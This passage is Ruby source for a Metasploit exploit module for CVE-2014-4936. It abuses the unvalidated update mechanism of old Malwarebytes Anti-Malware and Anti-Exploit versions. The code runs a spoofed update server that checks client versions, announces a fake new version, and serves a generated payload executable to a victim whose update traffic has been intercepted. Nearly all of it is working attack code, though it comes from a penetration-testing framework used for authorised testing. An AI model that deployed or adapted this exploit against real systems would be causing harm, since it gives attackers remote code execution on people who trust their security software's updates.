Anti-Exploit Update Remote Code Execution',\n        'Description' => %q{\n          This module exploits a vulnerability in the update functionality of\n          Malwarebytes Anti-Malware consumer before 2.0.3 and Malwarebytes\n          Anti-Exploit consumer 1.03.1.1220.\n          Due to the lack of proper update package validation, a man-in-the-middle\n          (MITM) attacker could execute arbitrary code by spoofing the update server\n          data-cdn.mbamupdates.com and uploading an executable. This module has\n          been tested successfully with MBAM 2.0.2.1012 and MBAE 1.03.1.1220.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'Yonathan Klijnsma', # Vulnerability discovery and PoC\n          'Gabor Seljan',       # Metasploit module\n          'todb'                # Module refactoring\n        ],\n        'References' => [\n          [ 'CVE', '2014-4936' ],\n          [ 'OSVDB', '116050' ],\n          [ 'URL', 'http://web.archive.org/web/20241212224255/http://blog.0x3a.com/post/104954032239/cve-2014-4936-malwarebytes-anti-malware-and'] # Discoverer's blog\n        ],\n        'DefaultOptions' => {\n          'EXITFUNC' => 'process'\n        },\n        'Platform' => 'win',\n        'Targets' => [\n          [ 'Windows Universal', {} ]\n        ],\n        'Privileged' => false,\n        'DisclosureDate' => '2014-12-16',\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options(\n      [\n        OptPort.new('SRVPORT', [ true, \"The daemon port to listen on (do not change)\", 80 ]),\n        OptString.new('URIPATH', [ true, \"The URI to use (do not change)\", \"/\" ])\n      ]\n    )\n\n    # Vulnerable Malwarebytes clients do not allow altering these.\n    deregister_options('SSL', 'SSLVersion', 'SSLCert')\n  end\n\n  def on_request_uri(cli, request)\n    case request.uri\n    when VERSION_REGEX\n      serve_update_notice(cli) if set_exploit_target($1, request)\n    when EXE_REGEX\n      serve_exploit(cli)\n    else\n      vprint_status \"Sending empty page for #{request.uri}\"\n      serve_default_response(cli)\n    end\n  end\n\n  def serve_default_response(cli)\n    send_response(cli, '')\n  end\n\n  def check_client_version(request)\n    return false unless request['User-Agent'] =~ /base:(\\d+\\.\\d+\\.\\d+\\.\\d+)/\n\n    this_version = $1\n    next_version = NEXT_VERSION[:mbam]\n    if Rex::Version.new(next_version) >= Rex::Version.new(this_version)\n      return true\n    else\n      print_error \"Version #{this_version} of Anti-Malware isn't vulnerable, not attempting update.\"\n      return false\n    end\n  end\n\n  def set_exploit_target(package, request)\n    case package\n    when /mbam/i\n      if check_client_version(request)\n        @client_software = ['Anti-Malware', NEXT_VERSION[:mbam]]\n      else\n        serve_default_response(cli)\n        return false\n      end\n    when /mbae/i\n      # We don't get identifying info from MBAE\n      @client_software = ['Anti-Exploit', NEXT_VERSION[:mbae]]\n    end\n  end\n\n  def serve_update_notice(cli)\n    software, next_version = @client_software\n    print_status \"Updating #{software} to (fake) #{next_version}. The user may need to click 'OK'.\"\n    send_response(cli, next_version,\n                  'Content-Type' => 'application/octet-stream')\n  end\n\n  def serve_exploit(cli)\n    print_status \"Sending payload EXE...\"\n    send_response(cli, generate_payload_exe,\n                  'Content-Type' => 'application/x-msdos-program')\n  end\nend\n","sha256":"3ed6c54d2417d39f40060edbeb22e63565534cfe082a8b7ea6edbc7b95da4d44","bytes":4244,"fetchedAt":"2026-11-27T19:04:16.323Z","encoding":"utf-8 (display only; download retains original bytes)"}